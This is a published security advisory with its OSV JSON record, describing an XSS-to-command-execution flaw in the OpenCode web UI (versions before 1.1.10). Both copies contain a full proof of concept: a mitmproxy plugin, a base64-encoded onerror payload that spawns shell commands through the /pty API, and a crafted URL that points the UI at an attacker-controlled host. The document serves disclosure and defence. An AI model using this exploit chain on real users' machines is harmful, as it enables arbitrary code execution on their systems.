GHSA-C83V-7274-4VGP
Vulnerability from github – Published: 2026-01-13 20:36 – Updated: 2026-01-13 20:36Summary
A malicious website can abuse the server URL override feature of the OpenCode web UI to achieve cross-site scripting on http://localhost:4096. From there, it is possible to run arbitrary commands on the local system using the /pty/ endpoints provided by the OpenCode API.
Code execution via OpenCode API
- The OpenCode API has
/pty/endpoints that allow spawning arbitrary processes on the local machine. - When you run
opencodein your terminal, OpenCode automatically starts an HTTP server onlocalhost:4096that exposes the API along with a web interface. - JavaScript can make arbitrary same-origin
fetch()requests to the/pty/API endpoints. Therefore, JavaScript execution onhttp://localhost:4096gets you code execution on local the machine.
JavaScript execution on localhost:4096
The markdown renderer used for LLM responses will insert arbitrary HTML into the DOM. There is no sanitization with DOMPurify or even a CSP on the web interface to prevent JavaScript execution via HTML injection.
This means controlling the LLM response for a chat session gets you JavaScript execution on the http://localhost:4096 origin. This alone would not be enough for a 1-click exploit, but there's functionality in packages/app/src/app.tsx to allow specifying a custom server URL in a ?url=... parameter:
// packages/app/src/app.tsx
const defaultServerUrl = iife(() => {
const param = new URLSearchParams(document.location.search).get("url")
if (param) return param
// [truncated]
return window.location.origin
})
Using this custom server URL functionality, you can make the web UI connect to and load chat sessions from an OpenCode instance on another URL. For example, tricking a user into opening http://localhost:4096/Lw/session/ses_45d2d9723ffeHN2DLrTYMz4mHn?url=https://opencode.attacker.example in their browser would load and display ses_45d2d9723ffeHN2DLrTYMz4mHn from the attacker-controlled server at https://opencode.attacker.example.
Note on exploitability
Because the localhost web UI proxies static resources from a remote location, the OpenCode team was able to prevent exploitation of this issue by making a server-side change to no longer respect the ?url= parameter. This means the specific vulnerability used to achieve XSS on the localhost web UI no longer works as of Fri, 09 Jan 2026 21:36:31 GMT. Users are still strongly encouraged to upgrade to version 1.1.10 or later, as this disables the web UI/OpenCode API to reduce the attack surface of the application. Any future XSS vulnerabilities in the web UI would still impact users on OpenCode versions before 1.10.0.
Proof of Concept
A simple way to serve a malicious chat session is by setting up mitmproxy in front of a real OpenCode instance. This is necessary because the OpenCode web UI must load a bunch of resources before it loads and displays the chat session.
- Spawn an OpenCode instance in a Docker container
$ docker run -it --rm -p 4096:4096 ghcr.io/anomalyco/opencode:latest --hostname 0.0.0.0
- Create a file called
plugin.pywith the contents below
import base64
import json
payload = """
(async () => {
// const ptyInit = {'command':'/bin/sh', 'args': ['-c', 'open -F -a Calculator.app']};
const ptyInit = {'command':'/bin/sh', 'args': ['-c', 'touch /tmp/albert-was-here.txt']};
const r = await fetch('/pty', {method: 'POST', body: JSON.stringify(ptyInit), headers: {'Content-Type': 'application/json'}});
const pty_id = (await r.json())['id'];
await new Promise(r => setTimeout(r, 500));
await fetch('/pty/' + pty_id, {method: 'DELETE'})
window.location.replace('https://example.com');
})()
"""
# Other messages have been removed from this codeblock for brevity
malicious_messages = [
# [truncated]
{
# [truncated]
"parts": [
# [truncated]
{
"id": "prt_ba2d26ca0001fcRfwfEZ4bP7gF",
"sessionID": "ses_45d2d9723ffeHN2DLrTYMz4mHn",
"messageID": "msg_ba2d269130016guS0KSZ0FY2J9",
"type": "text",
"text": f"Hello, World!\n<img src=\"/favicon.png\" onerror=\"eval(atob('{base64.b64encode(payload.encode()).decode()}'))\" style=\"display: none;\">",
"time": {
"start": 1767963258360,
"end": 1767963258360
}
},
# [truncated]
]
}
]
malicious_session = {"id":"ses_45d2d9723ffeHN2DLrTYMz4mHn","version":"1.0.220","projectID":"global","directory":"/","title":"Hello World!","time":{"created":1767963257052,"updated":1767963258366},"summary":{"additions":0,"deletions":0,"files":0}}
async def response(flow):
if flow.request.path.split('?')[0] == '/session':
flow.response.text = json.dumps([malicious_session], separators=(',', ':'))
elif flow.request.path.split('?')[0] == '/session/ses_45d2d9723ffeHN2DLrTYMz4mHn':
flow.response.status_code = 200
flow.response.text = json.dumps(malicious_session, separators=(',', ':'))
elif flow.request.path.split('?')[0] == '/session/ses_45d2d9723ffeHN2DLrTYMz4mHn/message':
flow.response.text = json.dumps(malicious_messages, separators=(',', ':'))
- Start mitmproxy with the plugin in reverse proxy mode
$ mitmproxy -s plugin.py -p 12345 -m upstream:http://localhost:4096
- Start OpenCode in your terminal as the victim
$ opencode
-
Visit the following URL in a browser on the same machine running OpenCode: http://localhost:4096/Lw/session/ses_45d2d9723ffeHN2DLrTYMz4mHn?url=http://localhost:12345
-
Confirm the file
albert-was-here.txtwas created in the/tmp/directory
$ ls /tmp/
albert-was-here.txt
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "opencode-ai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22813"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-13T20:36:41Z",
"nvd_published_at": "2026-01-12T23:15:53Z",
"severity": "CRITICAL"
},
"details": "### Summary\nA malicious website can abuse the server URL override feature of the OpenCode web UI to achieve cross-site scripting on `http://localhost:4096`. From there, it is possible to run arbitrary commands on the local system using the `/pty/` endpoints provided by the OpenCode API.\n\n### Code execution via OpenCode API\n\n- The OpenCode API has `/pty/` endpoints that allow spawning arbitrary processes on the local machine.\n- When you run `opencode` in your terminal, OpenCode automatically starts an HTTP server on `localhost:4096` that exposes the API along with a web interface.\n- JavaScript can make arbitrary same-origin `fetch()` requests to the `/pty/` API endpoints. Therefore, JavaScript execution on `http://localhost:4096` gets you code execution on local the machine.\n\n### JavaScript execution on localhost:4096 \n\nThe markdown renderer used for LLM responses will insert arbitrary HTML into the DOM. There is no sanitization with DOMPurify or even a CSP on the web interface to prevent JavaScript execution via HTML injection.\n\nThis means controlling the LLM response for a chat session gets you JavaScript execution on the `http://localhost:4096` origin. This alone would not be enough for a 1-click exploit, but there\u0027s functionality in `packages/app/src/app.tsx` to allow specifying a custom server URL in a `?url=...` parameter:\n\n```javascript\n// packages/app/src/app.tsx\nconst defaultServerUrl = iife(() =\u003e {\n const param = new URLSearchParams(document.location.search).get(\"url\")\n if (param) return param\n \n // [truncated]\n \n return window.location.origin\n})\n```\n\nUsing this custom server URL functionality, you can make the web UI connect to and load chat sessions from an OpenCode instance on another URL. For example, tricking a user into opening http://localhost:4096/Lw/session/ses_45d2d9723ffeHN2DLrTYMz4mHn?url=https://opencode.attacker.example in their browser would load and display `ses_45d2d9723ffeHN2DLrTYMz4mHn` from the attacker-controlled server at https://opencode.attacker.example.\n\n### Note on exploitability\n\nBecause the localhost web UI proxies static resources from a remote location, the OpenCode team was able to prevent exploitation of this issue by making a server-side change to no longer respect the `?url=` parameter. This means the specific vulnerability used to achieve XSS on the localhost web UI no longer works as of `Fri, 09 Jan 2026 21:36:31 GMT`. Users are still strongly encouraged to upgrade to version 1.1.10 or later, as this disables the web UI/OpenCode API to reduce the attack surface of the application. Any future XSS vulnerabilities in the web UI would still impact users on OpenCode versions before 1.10.0. \n\n### Proof of Concept\n\nA simple way to serve a malicious chat session is by setting up mitmproxy in front of a real OpenCode instance. This is necessary because the OpenCode web UI must load a bunch of resources before it loads and displays the chat session.\n\n1. Spawn an OpenCode instance in a Docker container\n\n```\n$ docker run -it --rm -p 4096:4096 ghcr.io/anomalyco/opencode:latest --hostname 0.0.0.0\n```\n\n2. Create a file called `plugin.py` with the contents below\n\n```python\nimport base64\nimport json\n\npayload = \"\"\"\n(async () =\u003e {\n // const ptyInit = {\u0027command\u0027:\u0027/bin/sh\u0027, \u0027args\u0027: [\u0027-c\u0027, \u0027open -F -a Calculator.app\u0027]};\n const ptyInit = {\u0027command\u0027:\u0027/bin/sh\u0027, \u0027args\u0027: [\u0027-c\u0027, \u0027touch /tmp/albert-was-here.txt\u0027]};\n const r = await fetch(\u0027/pty\u0027, {method: \u0027POST\u0027, body: JSON.stringify(ptyInit), headers: {\u0027Content-Type\u0027: \u0027application/json\u0027}});\n const pty_id = (await r.json())[\u0027id\u0027];\n await new Promise(r =\u003e setTimeout(r, 500));\n await fetch(\u0027/pty/\u0027 + pty_id, {method: \u0027DELETE\u0027})\n window.location.replace(\u0027https://example.com\u0027);\n})()\n\"\"\"\n\n# Other messages have been removed from this codeblock for brevity\nmalicious_messages = [\n # [truncated]\n {\n # [truncated]\n \"parts\": [\n # [truncated]\n {\n \"id\": \"prt_ba2d26ca0001fcRfwfEZ4bP7gF\",\n \"sessionID\": \"ses_45d2d9723ffeHN2DLrTYMz4mHn\",\n \"messageID\": \"msg_ba2d269130016guS0KSZ0FY2J9\",\n \"type\": \"text\",\n \"text\": f\"Hello, World!\\n\u003cimg src=\\\"/favicon.png\\\" onerror=\\\"eval(atob(\u0027{base64.b64encode(payload.encode()).decode()}\u0027))\\\" style=\\\"display: none;\\\"\u003e\",\n \"time\": {\n \"start\": 1767963258360,\n \"end\": 1767963258360\n }\n },\n # [truncated]\n ]\n }\n]\n\nmalicious_session = {\"id\":\"ses_45d2d9723ffeHN2DLrTYMz4mHn\",\"version\":\"1.0.220\",\"projectID\":\"global\",\"directory\":\"/\",\"title\":\"Hello World!\",\"time\":{\"created\":1767963257052,\"updated\":1767963258366},\"summary\":{\"additions\":0,\"deletions\":0,\"files\":0}}\n\nasync def response(flow):\n if flow.request.path.split(\u0027?\u0027)[0] == \u0027/session\u0027:\n flow.response.text = json.dumps([malicious_session], separators=(\u0027,\u0027, \u0027:\u0027))\n elif flow.request.path.split(\u0027?\u0027)[0] == \u0027/session/ses_45d2d9723ffeHN2DLrTYMz4mHn\u0027:\n flow.response.status_code = 200\n flow.response.text = json.dumps(malicious_session, separators=(\u0027,\u0027, \u0027:\u0027))\n elif flow.request.path.split(\u0027?\u0027)[0] == \u0027/session/ses_45d2d9723ffeHN2DLrTYMz4mHn/message\u0027:\n flow.response.text = json.dumps(malicious_messages, separators=(\u0027,\u0027, \u0027:\u0027))\n```\n\n3. Start mitmproxy with the plugin in reverse proxy mode\n\n```\n$ mitmproxy -s plugin.py -p 12345 -m upstream:http://localhost:4096\n```\n\n4. Start OpenCode in your terminal as the victim\n\n```\n$ opencode\n```\n\n5. Visit the following URL in a browser on the same machine running OpenCode: http://localhost:4096/Lw/session/ses_45d2d9723ffeHN2DLrTYMz4mHn?url=http://localhost:12345\n\n6. Confirm the file `albert-was-here.txt` was created in the `/tmp/` directory\n\n```\n$ ls /tmp/\nalbert-was-here.txt\n```",
"id": "GHSA-c83v-7274-4vgp",
"modified": "2026-01-13T20:36:42Z",
"published": "2026-01-13T20:36:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/anomalyco/opencode/security/advisories/GHSA-c83v-7274-4vgp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22813"
},
{
"type": "PACKAGE",
"url": "https://github.com/anomalyco/opencode"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Malicious website can execute commands on the local system through XSS in the OpenCode web UI"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.